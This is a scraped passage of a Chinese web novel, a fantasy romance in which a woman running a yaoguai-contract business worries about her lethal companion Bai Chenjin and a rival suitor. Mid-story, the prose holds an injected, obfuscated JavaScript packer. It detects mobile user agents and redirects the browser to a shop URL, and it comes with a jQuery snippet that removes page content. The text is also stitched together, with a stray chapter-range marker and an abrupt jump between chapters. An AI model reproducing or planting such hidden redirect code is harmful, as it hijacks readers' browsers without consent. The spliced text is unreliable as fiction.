沈染星小脸都快皱成一团,捂着心口,笑道:“有用就好,省着点用,那药用处大着呢。” ……真的好心疼啊,那半瓶,比她全副身家还值钱呢! 不,可能有钱都买不到了! 再次上路后,大出血后的沈染星,蔫了。 她这一副对着药膏肉痛得紧,又不好意思开口的小财迷模样,显然取悦了白尘烬。 因祸得福,两人之间的怪异气氛,随着那珍贵的玉肌生的送出,消散了。 骑着马颠簸了一整日,日头偏西时,沈染星才终于看到了前方城镇的轮廓。 青灰色的城墙,熙攘的人流,久违的烟火气,让她几乎要热泪盈眶。 投宿的是一家二层的小客栈,看起来还算干净,沈染星要了两间上房,和白尘烬进了各自的房间。 房间陈设简单,但床铺干净,深得她心。 又唤小二打来热水,好好清洗了一番,换上了在镇上成衣铺子临时买的粗布衣裙,虽然料子粗糙,但总算清爽干净。 身上各处的伤,除了手上的,差不多好全了。 做完这一切,腹中已是饥肠辘辘。 她到隔壁去找白尘烬,敲了几次门,侧耳倾听半晌,一片寂静。 白尘烬似乎不在房里了。 犹豫了片刻,肚子实在饿的紧,沈染星决定自己先下楼吃饭。 客栈大堂里人不少,很是热闹。 她找了个靠墙的僻静角落坐下,点了两样简单小菜和一碗米饭,便低着头默默吃起来。 饭菜的味道一般,但热腾腾的,足以抚慰她疲惫的身体和紧绷的神经。 正吃着,隔壁桌几个行商模样男子的谈话声,断断续续地飘了过来。 起初,她并未在意,直到几个关键词飘入耳中。 “……听说了吗?伏妖居这回可栽了大跟头!”一个压低的声音说道,幸灾乐祸之意显而易见。 另一人嗤笑一声,道:“何止大跟头,都已经没啦,里面的人死的死,散的散,房子产业也已经被天瑶庄买下来咯。” “怎么说?” “据说派出去追债的一队好手,在城外几十里的黑风林里,让人给一锅端了!” “一锅端?不能吧?伏妖居的人可都是硬茬,领头的是不是那个姓洪的?手黑着呢!” “就是他!死得那叫一个惨啊。”那人的声音里带着一丝难以掩饰的惊惧,“听说……没有一个全尸,脑袋全被被利器分了家。” 沈染星拿着筷子的手猛地一僵,一块青菜掉回了碗里。 伏妖居,追债,姓洪的,黑风林…… 那不正是昨天他们逃亡有关的事吗? 那些死状凄惨的人……难道就是追捕他们的那一队人?! 白尘烬当时明明剧毒发作,实力大损,还能顺道把人给灭了个干净…… 不愧是他。 沈染星强迫自己低下头,假装继续吃饭,耳朵竖得尖尖的。 “……是天瑶庄下的黑手?” “哪能啊,天瑶庄里哪有人有这样的本事,能如此利落残忍地灭口……” “嘶……难道是?” “大家都猜测是他,洪营也是阴沟里翻了船。那位煞神也敢请回去,还各种哄着他,顺着他,事事以他为先,”他们似乎害怕提到那人名讳,打着哑谜,“钱是赚了不少,可命也没了……” 他们说的煞神,当然就是白尘烬。 后面的对话,沈染星已经听不清了。 她面色发白,之前只觉得他暴虐,危险,喜欢吓唬她,折腾她,从未像现在这般,真切地感受到他的可怖程度,对他再好的人,他想杀便杀了。 有朝一日,他会不会也毫不留情地……杀了她? 这个想法让她心底愈发惶恐。 不行,不能坐以待毙,必须要想办法自保。 沈染星猛地站起身,也顾不上没吃完的饭菜,脚步虚浮,本能想逃回房间想办法。 就在转身刹那,另一桌的人也加入了这个谈话,声音听着耳熟:“我前两日才去了伏妖居,见了洪营,怎么就散了?” 有人兴致颇高地答道:“就前天的事儿!可能你前脚刚走,后脚就出了事。” 沈染星转头,看见了那人,果然是昨天在路上,马车坏了的蓝衣公子。 他此刻换了一身月白云纹的锦袍,更衬得面如冠玉,发束金冠,手持一柄折扇,嘴角噙着一抹温文尔雅的浅笑,周身散发着矜贵从容的气度,与昨日那个气急败坏的模样,判若两人。 沈染星的脚步顿住了。 逃跑的冲动还在,但一个更大胆,更冒险的念头猛地窜入她的脑海。 机会! 他马车上的图腾与原书女主萧霁雪有关,或许……他能联系上萧霁雪。 萧霁雪心地善良,嫉恶如仇,向她求助的话,定不会不管,甚至,她还可以牵制白尘烬。 与其在这里惶惶不可终日,跟着危险莫测的白尘烬,总在死亡边缘横跳,不如抓住眼前这个机会。 如果能通过这位公子找到萧霁雪,得到萧家的庇护,那她岂不是就能彻底摆脱伏妖居的阴影,也能离开白尘烬那个煞神了? 这个念头如同野草般疯长,瞬间压过了恐惧。 她深吸一口气,强迫自己镇定下来。 她转过身去,还未来得及说话,一阵阴寒倏地自脖颈窜起,密密麻麻爬往全身。 仿佛有人注视着她,她打了个寒颤,疑惑地扭头张望,那股阴寒却又消失了。 怔愣之际,正与旁桌闲谈那位公子,也察觉到了她,漫不经心地抬眼看来。 见到是她,他眼中闪过一抹诧异,但很快便掩盖下去。 沈染星心不在焉,并未捕捉到他眼中的异色。 这位公子认出沈染星是昨日官道经过的人,而当时与她一道的,正是白尘烬。 造访伏妖居时,有人曾和他说过,先前带白尘烬离开的,是一名懂妖语的女子。 现下他认出来了,那女子就是沈染星。 公子嘴角的笑意加深了几分,抬手招了两下,一侧侍卫踏步上前,俯身恭听。 侍卫一袭湛蓝劲服,眉眼狭长,长相阴柔,虽装扮正气,偏偏让人不敢多看,给人一种阴冷之感。 公子在侍卫耳旁低语几句,侍卫点头,转身离去。 待侍卫离开,他才抬眼,视线不偏不倚,恰好落在沈染星身上。 这一眼,沈染星心头莫名的阴寒被一扫而空。 她心中一喜,或许真的有戏! 与他隔着两张桌子对视,她唇角不由自主地勾起,面带惊喜,可惊喜之下,又惴惴不安,总觉得即将发生什么事情。 因此她迟迟没下定决心上前搭话。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16281170|181591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 那公子见她不打算过来,“啪”地一下合了扇,主动迎了过去。 沈染星深吸一口气,强迫自己镇定下来。 “在下贾贞,”公子扇骨往掌心一敲,语气温和,明知故问,“姑娘有些眼熟,我们之前可是见过?” 沈染星无语了一瞬。 多么老套的搭讪开场方式…… “昨天官道上,贾公子车驾停住路旁时,我恰好经过。”她答道。 “是了,你这么一说,我想起来了,敢问你怎么称呼?” “我姓沈,叫我沈姑娘就好。” 贾贞眉毛轻轻一挑,与他所知的名字不一致,他猜她是用了化名。 沈染星心中着急,没注意到他细微的异样,只想尽快切入正题。 她鼓起勇气,言语间带着希冀:“冒昧问一下,贾公子可认识萧霁雪?” 贾贞及其短暂地僵硬一瞬,笑道:“自然,她是我表妹,那马车也是她暂时借给我的。” 沾亲带故的,那更好办了。 沈染星一下激动起来,可笑容未起,心却猛地一跳。 一股强烈的注视感,尖锐,冰冷,重重压在她身上。 本想继续问萧霁雪近况的,可如今她不敢开口了。 甚至完全不敢动。 一种深切的直觉告诉她,但凡此刻她轻举妄动,都可能产生无法想象的后果。 她没看到人,可就是知道,白尘烬就在这里。 他什么时候回来的?还是说他一直都在这里?他又听去了多少事? 见她面色不对,贾贞关切道:“姑娘没事吧。” 沈染星不敢再想下去,连连摇头:“没事,我有事,先行一步。” 贾贞还想再问,她却离开了,几乎是落荒而逃般冲上楼梯。 回到房间,背靠着紧闭的房门,她大口地喘息着,心脏还在为那道阴冷视线狂跳不止,手心冰凉,全是冷汗。 白尘烬认识萧霁雪,并且很介意她提及她,每每提到,两人的关系都会一下子降到冰点。 她这是又踩雷了…… 各种纷乱的念头在脑中交织,沈染星心绪极度不宁。 缓缓滑坐在地上,后脑抵在冰凉的木门上,好半晌后,她心神才稍稍定下,想去倒杯水喝。 刚站起身,一只冰冷的大手从身后伸出,毫无预兆地捂住了她的嘴。 另一只手臂瞬间箍住了她的腰,如同铁钳般,将她整个人狠狠地往后一拽。天旋地转间,一股巨力将她猛地按在了门板上。 “唔!”沈染星的惊呼被死死堵在喉咙里,后背撞在坚硬的门板上,发出一声闷响,震得她五脏六腑都仿佛移了位。 惊恐地睁大眼睛,她对上了一双近在咫尺的眸子,里面正翻涌着骇人风暴。 他果然在,他的眸子是冷的,手是冰的,连周身气息都寒气逼人,他想要杀了她吗,仅仅是因为她打探了萧霁雪的消息? 沈染星压着心头乱七八糟的情绪,水润眼眸倒映着他的模样。 试图寻找否认她想法的蛛丝马迹,可他此刻的样子比任何时候都要可怕。 脸上素帛掩去了大半神色,偏偏那双眼睛亮得惊人,里面燃烧着一种近乎实质的怒火,甚至还有一种她看不懂的复杂情绪。 “收好你的心,”他声音很轻,冰冷阴森,几乎是贴着她的耳廓响起,气息喷在她的颈侧,温热的,却让她如坠冰窟,“不要动你不该动的人。” 闻言,沈染星惊恐之余,又有些伤心。 就她?能动得了谁。 35-40 第36章 你喜欢我吗? 老者身着流光锦袍, 须发皆白,梳理得一丝不苟,面容清癯,眼神温润却透着一股久居上位的从容气度。 “请问, 你们何时开张?”他的声音平和舒缓, 却透着自然的威严。 乔阿盈愣了一下, 连忙点头:“老先生,我们这就开门了,里面请。” “老夫听闻贵苑驯妖别具一格, 不损妖力, 特来拜访主事之人。”老者微微一笑, 目光已然越过乔阿盈,落在了闻声走来的沈染星身上。 沈染星迎上前去:“老先生,晚辈就是主事沈染星,您这边要寻妖吗?” 老者打量了她一眼,乐呵呵道:“正是。” 居然还有亲自送上来的生意。 沈染星连忙把人往里请, 奉上香茗。 这位老先生姓云, 名阔, 外地人事, 因家族商铺遍地全国,一直苦于传讯不便,是想寻一只能用于远距离,快速传讯的强大的妖物。 诸如迅捷隼、风信子之类,灵智受损, 飞遁之速慢不说,遇上强敌也不懂随机应变,说是偶有迷途, 更甚者会中途力竭坠落,误事至极。 沈染星耐心听完他的要求,便知这不是一件简单的差事,她看向一侧的石多磊。 石多磊坦诚道:“按云老先生的要求,必须要智商类人的大妖才可满足,我们苑中……目前确实没有现成的。” 这的确不是一件易事,否则也不会落到他们头上。 云老先生闻言,脸上并未露出太多失望,只是沉吟片刻,道:“无妨,老夫可以等。贵苑若能觅得,驯服……不,是与它达成契约,需要多少时日?” “老先生,这不是时日问题,是太难了。”石多磊苦笑摇头:“此类妖物可遇不可求,即便遇上,说服它签订契约的几率也微乎其微。” 石多磊热爱研究妖物,向他提出需求时,他一向都是信心满满的,这还是第一次见他这般不自信。 沈染星也知此时难成:“其实我们也很想接下这一任务,不过……我们暂时满足不了老先生的要求,不敢轻易承诺。” 云老先生不多言,缓缓伸出一根手指:“三百两一个月。” “这不是钱的问题,实在是……” “六百两。” 沈染星艰难地吞咽一番口水,“主要是这妖太难找了,寻常妖市肯定买不到。” 云老先生语气不变:“一千两。” 沈染星猛地站起身来,把石多磊吓一跳。 他见她态度这般,急了,也顾不得礼节,拉住沈染星的衣袖:“东家,这么好的事情,怎么会落在我们一个小小的妖院头上。” 可这根本阻止不了她。 沈染星一锤定音:“接了!” 石多磊目瞪口呆,还想扒拉沈染星,被她一把推开。 她的一双杏眼亮晶晶的,盯着云老先生,脸上堆满了热情:“不过我有条件。” 她说着,一把按住石多磊肩头,将躁动的他按回凳子上。 云老先生:“什么条件?” “先付三百两定金,限期三个月,若是找不到,定金如数奉还,不设置违约金。” 云老先生估摸是病急乱投医,很爽快便答应了下来。 在这之后,共生苑又回到了门可罗雀的冷清日子。 市集冲突的影响犹在,对家暗中打压似乎起了效果,再无人上门询价。 秦昭公子那边押送药材的队伍早已出发,暂无消息传回,成败未知。 而云老先生所求的那类传讯妖,更是渺无踪迹,石多磊多方打听也没什么进展。 诸事不顺,反倒得了几分清闲。 这日傍晚,夕阳给院落镀上一层暖金色。 妖物们午饭后,在后院内嬉闹放松,像个小型开放式动物园似的。 沈染星与白尘烬并肩,在院中小道上散步。 这是沈染星刻意为之的,旨在让他熟悉熟悉院里的小家伙们。 日子看着平静,可底下风流涌动,前途未卜,若是某日发生了什么意外,希望他能看在往日的情分上,出手相救。 时光静谧,只有妖物们嬉闹声,树叶沙沙声,以及他们的脚步声。 沈染星侧过头,看向身边沉默寡言的白尘烬。 夕阳的余晖柔和了他侧脸轮廓,散去了平日的阴冷,罕见地露出几分温柔来。 鬼使神差地,她忽然心念一动,轻声问道:“白尘烬,如果你喜欢一个人,但未来可能会遇到一个更好,更合适的人,你会怎么办?” 白尘烬目不斜视:“不会。” “嗯?” 沈染星没明白。 “这种事,”白尘烬终于侧头瞥了她一眼,眼神里透着莫名其妙,“不会发生在我身上。” 不会? 他这是夜郎自大! 沈染星道:“我是说万一呢?万一以后出现了更……” “没有万一。”白尘烬打断她,那点温柔消失殆尽,眼尾弯起一抹笑意,“你遇见了更好,更合适的人?” 分明是在说他的事情,怎么又莫名其妙牵扯到她身上了? “我没有,”沈染星强调道,“我是说你。” 白尘烬:“我?” 一字凉凉地落下,沈染星心头慕地一跳,脊背发寒。 她压下心慌的感觉:“是,你会跟着她离开吗?” 白尘烬停下脚步,定定看着她,看得她头皮一阵发麻。 “她是谁?”他问。 问完,还伸手过来,帮她轻轻鬓间的碎发捋到耳后。 沈染星那半边脸几乎麻了,不敢继续说下去。 他一动不动地盯着她的额头,勾着唇,心想,她这脑子里到底还装着多少人呢? 有那么一刻,他居然明晃晃感受到了自己的嫉妒。 女主不知他的想法,只是能感受到他愈发浓郁的杀气。 果然,原书女主是不能提的,每一次提起来,两人的氛围再好,也会一瞬降到冰点。 这还没提起呢,就开始暗潮汹涌了,若是把那名字一说…… 指不定又做出什么惊世骇俗的事来。 当然,惊世骇俗不是对她而言的,毕竟她已经被威胁过太多次,什么大风大浪没见过。 是对这一院的小妖来说的,作为结契的东家,在刻意的人设维护下,她可是一个美丽、大方、真诚、善良又有威严的东家。 若是在它们面前怂怂的求饶,形象那岂不是全毁了? 识时务者为俊杰。 沈染星火速终止了这个话题- 几日后的清晨,天色还未大亮。 白尘烬眉头紧蹙,睁开眼。 他半撑起身子,侧过头,目光落在身旁仍在熟睡的沈染星脸上。 晨曦微光透过窗棂,柔和地勾勒着她的轮廓,呼吸清浅,睡得正沉。 然而,白尘烬的脸色却越来越难看,双眸含着沉沉的灰,烦躁异常。 心脏在砰砰作响,震得他耳膜都在嗡鸣。 身下的异样愈发明显,无论如何忍耐,还是渐渐抬起头来,一股不受悸动地在他四肢百骸间窜动。 这种感觉他并不完全陌生,最近时常出现,尤其是在靠近她,触碰到她,甚至只是像现在这样静静看着她的时候。 身侧的她无意识地翻了个身,一缕发丝蹭过他手腕瞬间,他的小腹居然如同活物般抽动了一下。 往常他尚能凭借强大的自制力,强行压制下去,将其归于某种需要忽略的异常扰动。 但这一次,来得太过凶猛剧烈,那汹涌的欲动几乎来不及压制,也几乎无法压制。 他猛地坐起身,动作幅度之大,甚至带起了一阵风。 这一阵风惊扰了沈染星,她微微蹙起眉心,睁开眼。 看见白尘烬正背对着她,匆匆下床。 她又看了眼窗外天色。 还早。 于是伸出手去,一把抓住了白尘烬手腕。 出乎意料的,他没躲,这是这几天她第一次碰到他。 自从上次问了那个问题后,一连几日,沈染星醒来时,都发现白尘烬有些奇怪。 似乎在…… 避着她,仿佛她是什么洪水猛兽,不许她看,不许她触碰,甚至连靠近也不允许,简直就像是在守身如玉。 现下,她甫一碰到他,还有些不敢相信。 他的肌肉很硬,隔着一层素帛,她几乎能感受到掌心下的脉搏张弛无度,一起一伏,有些乱。 沈染星愣了愣,撑起身子,凑过去看他。 一眼便看到了他黑发中半露的耳朵—— 红了。 白尘烬在她眼中,像是一头随时会失控的猛兽,他身上的任何异常情况,都让她无比紧张。 “你这是怎么了,身体不舒服吗?”她继续往前凑,下巴几乎托在他肩头,关切地问道。 独属于她的气息缠绕而来。 白尘烬无处可躲,并不回答,用力扣住她的下巴。 停顿一息后,把她的脸庞转到另一边,像抑制着什么一般,呼吸开始急促不匀。 沈染星怔了怔,随即心脏疯狂擂动。 白尘烬扣住她下巴的那一刻,还以为他要把她的脸转向他,然后…… 亲上来。 谁知,居然是避开她。 他怎么总是会给她这样类似的错觉,也不知是他的反应太暧昧,还是她思想太不纯。 “我以后到偏房睡。” 沈染星正纠结着,一句疏离、淡漠的话毫无预兆地打断了她思绪。 反应了好半晌,她才理解了这句话,原来……他是来划清界限的。 沈染星心渐渐冷了下来。 随即心底塞得乱七八糟的情绪一空,瞬间变得空荡荡的,脑海只余一种想法—— 果然如此。 其实她那日的问题问得不对,他并非会在未来遇见一个更好的人,因为那个人,他似乎早就遇见了。 只是在上一次见面,到下一次遇见之间,突然冒出来她这么一个赝品。 真假并不难分,只是在真的来临之前,假的也显得有那么几分真。 他应该很混乱吧。 所以才总是这样忽冷忽热的。 算了,本就是权宜之计,他想分开睡也是他的自由。 她本就不是斤斤计较、纠缠不休的性子,既然他做出了选择,她也不会过多干涉追问。 沈染星握着他手腕的手指动了好一会儿,才缓缓松开。 甫一松开,白尘烬便迅速下床,头也不回地离开了房间,连外袍都来不及披。 又一连几数日过去,沈染星再也没见过白尘烬。 这日,她刚洗漱完毕,正对着铜镜随意绾发,乔阿盈就一脸喜色地小跑了进来。 声音里都带着雀跃:“东家,大喜事!那位秦昭秦堂主来了,就在前厅呢。说上次租借的妖物他满意得不得了,特地亲自上门来道谢,好像还有大生意要谈!” 沈染星绾发的手一顿,眼睛瞬间亮了起来,那点莫名的思绪立刻被抛到了九霄云外。 “真的?快,我这就去。”她加快动作,还化了个淡妆,脸上绽开惊喜的笑容,脚步轻快地就朝前厅赶去。 困扰多日的阴霾,仿佛被这一道好消息骤然驱散。 沉寂多日,生意上的转机终于来了。 前厅门外,沈染星整理了一下衣襟和发丝,快步走进。 秦昭负手而立,欣赏着厅堂壁上挂着的写意画,是描绘山野群妖的,热闹喜庆。 他今日换了一身月白长衫,更衬得人如玉树临风,听到脚步声,他转过身来,脸上带着温和的笑意。 “沈姑娘,我刚从外面回来,途径此处,便亲自过来看看,不打扰吧。” “不打扰,一点都不打扰。”沈染星笑着迎上去,吩咐乔阿盈看茶。 两人分宾主落座。 秦昭举止优雅,谈吐风趣,没有某些商贾的铜臭气,也没有上位者的倨傲。 他先是关切地问了问市集那日后是否有麻烦,得知沈染星已处理妥当后,便不再多提,转而真心实意地夸赞起上次租赁的妖物。 沈染星听得心中欢喜,面上却保持谦逊:“秦堂主过奖了。” 秦昭放下茶盏,笑容更深,“秦某今日再次上门,家中刚谈下一处新矿脉,开采初期,需大量可靠劳力。首批至少需要二十名善于钻探、负重或感知地脉的妖物,契约期限……先定半年,你看可否?” 二十名!长期!半年! 沈染星的心跳猛地加速。 可,这简直是太可了! 她强压住激动,又细细与他逐一商讨合作细节,一番交谈下来,两人都觉颇为投契。 甚至在合作事宜之外,他们也聊了不少闲碎的事,越聊越投缘。 若不是秦昭还有要事在身,沈染星都要留他一起用午饭了。 当天下午,秦昭便差人送来了沉甸甸的银票。 为了庆祝接连拿下秦昭的大单,当晚,共生苑里破例举行了一场热闹的庆功宴。 院子里燃起了篝火,烤肉的香气混合着果酒的甜醇弥漫在空气中。 人类与签订了契约的妖物们混坐在一起,喝酒吃肉,喧哗笑闹,打破了往日的界限。猴妖们兴奋地窜来窜去偷酒喝,牛妖满足地啃着专门为它准备的鲜嫩草料,连九音鸟都难得地唱起了不成调却欢快的曲子。 乔阿盈忙前忙后,小脸红扑扑的,拉着沈染星坐在篝火边。 她一边啃着烤鸡翅,一边兴奋地叽叽喳喳:“东家,和你说啊,那位秦昭秦大老板,真是样样都好!家世好,模样俊,脾气看着也温和,做生意还这么公道厚道。” 石多磊面无表情,塞了块肉进她口中。 她嚼几下,吞咽下去,继续道:“我听说啊,他是城里好多姑娘的梦中情人呢,也不知道将来会便宜了哪家小姐……” 石多磊又给她塞了一块肉。 “你干什么总是打扰我说话。 石多磊:“多吃肉,少说话。” “嫌我话多了是吧!” “哪敢……” 恋爱的酸臭味扑鼻而来,沈染星不再理他们,多喝了几杯果酒,脸颊泛着绯红。 她抬眼在人群中搜寻,白尘烬不在。 他向来不喜人多热闹的地方,于是她目光扫向不远处的阴影,还是不见他的踪影。 他去哪里了? 是不是又一个人待在哪个僻静的角落? 一股莫名的冲动涌上心头,混合着酒意,让她忽然很想去找他。 这么高兴的时候,他总不能一直一个人待着。 没人陪着,一个人孤零零的,多可怜啊。 病了小半辈子,这种滋味她可太知道了。 沈染星站起身,对乔阿盈含糊地说了一句:“我去透透气”。 不等她回应,便脚步虚浮,离开了喧嚣的篝火旁。 晚风带着凉意,吹在脸上,稍稍驱散了些许醉意,但脑袋依旧有些晕乎乎的。 她沿着小径漫无目的地寻找,月光洒在花圃里,各种植被在夜色下散发着朦胧的微光,静谧而美丽。 “白尘烬?”她轻声喊着。 没有回应。 她绕着花圃走了一圈,酒意上涌,只觉得眼皮越来越重,脚步也越来越沉- 街上喧嚣繁华,人流如织,叫卖声不绝于耳。 她独自一人走在熙攘的人群中,有些茫然地四顾。 忽然,她的目光定住了。 就在前方不远处的首饰摊前,站着两个人。 男子身姿挺拔,玄衣墨发,侧脸线条冷峻,神色柔和,面覆素帛,居然是白尘烬。 而他身边,站着一位身着鹅黄色衣裙的女子,女子侧着脸,看不清容貌,但那温婉灵动的气质,那依稀熟悉的感觉…… 沈染星的心猛地一沉。 是她吗? 是原书女主吗? 那个本该得到白尘烬所有温柔与守护的天命之女。 梦中的白尘烬,没有平日里的阴冷戾气,也没有对待旁人时的漠然。 他微微垂眸,看着身旁的女子,眼神是沈染星从未见过的专注与……温柔。他甚至微微侧身,以一种保护的姿态,为她隔开拥挤的人流。 那女子拿起一支簪子,笑着转头问他什么,他唇角似乎极轻微地勾了一下,点了点头。 那般和谐,那般登对,仿佛天地间只剩下他们二人。 沈染星只觉得胸口像是被什么东西禁锢住了,闷得发疼。 她张嘴,想喊他的名字,可怎么也喊不出口,市井喧嚣,像潮水一般淹没了她。 一张口,那令人窒息的潮水便往里灌。 他似乎有所察觉,抬起头,目光穿越人群,落在了她身上。 然而,那眼神里没有惊讶,没有熟悉,只有一片疑惑,陌生的,淡淡的,如同看一个无关紧要的路人。 只是轻飘飘的一眼,他便漠然地收回了视线,重新低下头,对身边的女子低声说了句什么. 那女子掩唇轻笑,姿态亲昵。 人群涌动起来,推挤着沈染星不断后退。 她拼命想挤过去,想抓住他问个清楚,可距离却越来越远。 “白尘烬!”那黏糊的湖水突然消失,她终于可以说话了。 可他的背影和那女子的身影渐渐模糊,最终彻底被人潮吞没,消失不见。 沈染星心脏狂跳,猛地惊醒,额头上沁出了一层细密的冷汗。 她惊魂未定,喘着气,一抬眼,却蓦地撞入一双雾茫茫的蓝眸子里。 白尘烬不知何时来的,弯腰俯身,低头看着她,深色衣袍几乎与夜色融为一体。 他一只掌心向上,托着一捧红艳艳的花,手指修长,骨节分明。 “你是打算用这花将自己闷死?” 沈染星茫然地环顾四周。 才发现自己不知何时醉倒在了这花圃旁的石凳上,鲜花争奇斗艳,从花圃里挤着探出来,遮住了一小半石凳。 而她正侧躺着,头埋在这花底下,好在白尘烬帮忙将花簇托起来了,不然还真将她的脸淹没了。 难怪一开始在梦里,呼吸困难…… 白尘烬也不催她,脸上没什么表情,只是静静地托着花。 夜风吹过,带来一丝凉意。 沈染星回过神来,连忙坐起来。 刚刚梦境中,那被漠然无视的复杂情绪还未完全消退,此刻看着近在咫尺的他,沈染星心头涌上一股一问到底的冲动。 她抱着膝盖,目光投向远处模糊的房屋轮廓:“白尘烬,你为什么要一直守在我身边呢?” 声音有些含糊,带着醉意。 白尘烬把花放下,坐在她身侧,静静听她说。 沈染星道:“你看,没有我,你其实也可以过得很好,不是吗?甚至可能会更轻松,你不用管这些妖院的琐事,不用理会那些你根本不放在眼里的人情世故,不用勉强自己待在不喜欢的热闹里。你可以去任何你想去的地方,做任何你想做的事,以你的能力,这世间没什么能真正束缚你。” 白尘烬静默了片刻:“你醉了。” 语气平淡,听不出情绪。 沈染星却像是很不满他这个回答,她转过头,直直地看向他,眼睛里映着月光,迷离有执拗: “我没醉,一点都没醉。白尘烬,你有没有想过,你为什么要这样做,从黑松林开始,一直到现在的共生苑。你明明可以走的,为什么一次次留下,帮我打架,帮我镇场子,甚至陪我睡在同一张床上。” “你做这些,总该有个原因吧,我不信你只是无聊,或者一时兴起,你告诉我,你到底是怎么想的?” 她的话语又快又急,因为口齿不清,有些句子都糊成一片了。 白尘烬冷淡道:“不需要想。” “可我需要。” 沈染星执拗地追着他的目光,“我想知道,你可以慢慢想,我就在这里,安安静静地听你说。” 她的语气软了下来,面颊泛红,呼吸间带着淡淡酒气,眼睛一眨不眨地望着他,等待着答案。 夜风拂过,吹动两人的发丝。 长时间的沉默蔓延开来。 终于,他开口:“你想知道什么?” “你喜欢我吗?” 沈染星不假思索地问了出来。 “不喜欢。” 白尘烬也干脆利落地回答了她—— 作者有话说:咳咳,剧透一下~梦里面的,不是原书女主 第37章 萧霁雪找上门来了 夜凉如水, 月光静静洒落在花圃里,不知哪个角落里传来草虫的低鸣,远处隐约有宴席散场后的动静。 沈染星双眸渐渐瞠大。 真的果然如此。 其实她并没有预想中的伤心或者难过,反而有一种尘埃落定的感觉。 仿佛一直悬着的靴子终于落地, 虽然落地的声音并不好听。 原来, 梦境有时候, 也是会映照现实的。 她张了张嘴,又张了张,才说出声音:“我想, 我是喝醉了。” “嗯, 你喝醉了。”他说道。 白尘烬情绪一直很淡, 淡到很难分辨他的喜好,除了他生气想要杀人,其余时候他都是冷冷的模样。 沈染星一直觉得他性子太闷,可这下终于发现了,这也有一个好处。 那便是她发酒疯那件事情, 轻飘飘便揭了过去。 只要她不在意, 可以当作没发生, 如同投入深潭的一颗小石子, 泛起几圈涟漪后,便迅速沉底,再无痕迹。 日子照旧过着,共生苑里渐渐忙碌起来,养了越来越多的妖, 下订的人也越来越多,苑内琐事的处理填满了每一天。 两人之间仿佛一切如常,他依旧沉默地跟随, 她依旧忙碌地指挥。 就这般平静又微妙地过了一月有余。 这日,沈染星正在书房里核对将进的妖物名录,纪明月拿着一封缄口精致的信笺走进来。 “染星,”纪明月将信递过去,语气平淡,“秦府派人送来的。” 沈染星有些意外,平日都是以清风堂的名义送信,怎么这一次,是以秦府的名义? 她接过信,拆开,信纸是上好的洒金笺,上面的字迹挺拔飘逸,内容十分简短。 沈染星拿着信纸,却看了许久,反复看了几遍。 这封信,措辞礼貌周到,以新茶楼开业为由,发出邀请。 但字里行间,没有提及任何关于妖物租赁,也没有提及契约细节之类的公事,纯粹是一份私人性质的邀约。 见她面露疑惑,纪明月问道:“出问题了?” 沈染星放下信笺:“倒是没出问题,只是……他好像是以私人名义邀我一聚。” “那很好啊,去吧。” “啊?” “秦昭温文尔雅,家世显赫,若是你们能有个结果,也属于一个不错的归宿。” 沈染星:? 纪明月:“嫁过去之后,他定会待你不错,再生几个大胖小子,在他的教导下,也不会长歪……” “停停停!”沈染星做出一个暂停的手势,“人家只是送来一封信,连来意都没确定,你已经跳到生娃那一步了?” “来意怎么没确定?这段日子,明眼人谁不知秦昭的心意。” 闻言,沈染星否认的话到嘴边,又咽了下去。 秦昭这段日子来共生苑是频繁了一些,频繁到白尘烬渐渐生出了杀意。 白尘烬不喜欢她,但是喜欢她这一类的人设,正版女主没来之前,他对她的占有欲那是明晃晃的。 以至于沈染星后面不得不躲着秦昭,他来了,她能不见便不见,全权交由纪明月负责。 这封信笺,或许也是因此而来。 纪明月见她犹豫,道:“白尘烬不适合你,你们在一起也不会有好结果。” “其实我也不是……” “别否认,”纪明月道,“而且秦昭也没那么弱,去见见他,害不死他。” 纪明月说完,便转身离开了。 沈染星心里有些拿不定主意,轻轻吸了口气,将信纸折好,压在书下。 才刚压好信笺,院外传来一阵喧哗。 乔阿盈带着哭腔的惊呼:“多磊,你慢点。” 沈染星脸色一变,立刻起身,快步朝院门走去。 石多磊被两个雇工搀扶着,一瘸一拐地走来,额角破了皮,渗着血丝,袍子沾满了尘土,手臂上还有明显的擦伤。 他疼的嘴唇发白,乔阿盈急得眼圈都红了,围着他团团转,想碰又不敢碰。 沈染星停住快步走过去,问道:“怎么回事,怎么伤成这样。” 石多磊龇牙咧嘴地吸着气:“回来的路上,不知从哪里冲出来一匹惊马,疯了一样乱窜,我躲闪不及,被带了一下,摔了一跤……” “又是惊马?”沈染星紧锁眉头,上前查看他的伤势,“伤到哪里了,除了皮外伤,骨头有没有事?” “应该没伤到骨头,就是摔得有点狠,扭到脚了。”石多磊摇摇头,语气却带着后怕,“那马冲得毫无征兆,路上的人都吓坏了……” 纪明月拿了伤药过来,冷静地吩咐:“阿盈,先扶他进去坐下。” 沈染星并未跟进去,这一次的惊马绝非意外。 哪有那么巧的事,上一次石多磊采购妖物回来路途上,也遇见了惊马,好在险险躲开了,这一次又遇见了惊马。 这路段平日还算安宁,哪来那么多马匹如此失控。 沈染星脸色也沉了下来。 这段日子,共生苑的口碑逐渐传开,租赁妖物的模式新奇又有效,尤其是拿下秦昭的大单后,更是引人注目。 树大招风,挡了别人的财路,遭人嫉妒眼红是必然的。 她的视线扫过院内。 白尘烬倚在不远处的廊柱下,仿佛这边的慌乱与他无关,眼神漠然地看着虚空,周身都是着事不关己的疏离。 沈染星心里清楚,他的保护范围仅限于她一人,或许还得看心情,指望他去护卫石多磊或者其他人,绝无可能。 屋里,狐妖雪拂倒是看热闹不嫌事大,不知何时凑了过去,正笑嘻嘻地逗弄着焦急的乔阿盈:“小阿盈别哭呀,皮外伤,死不了人。” 被他这么一打岔,阿盈是又气又急,脸都涨红了。 沈染星:…… 这家伙,果然是混吃等……生的,他连自己妖丹都没心思找,天天懒懒地窝在院里,逗逗妖,逗逗人的,没个正形,只会添乱。 沈染星更是彻底打消了念头。 内忧外患之感油然而生。 她深吸一口气,压下沉沉的情绪。 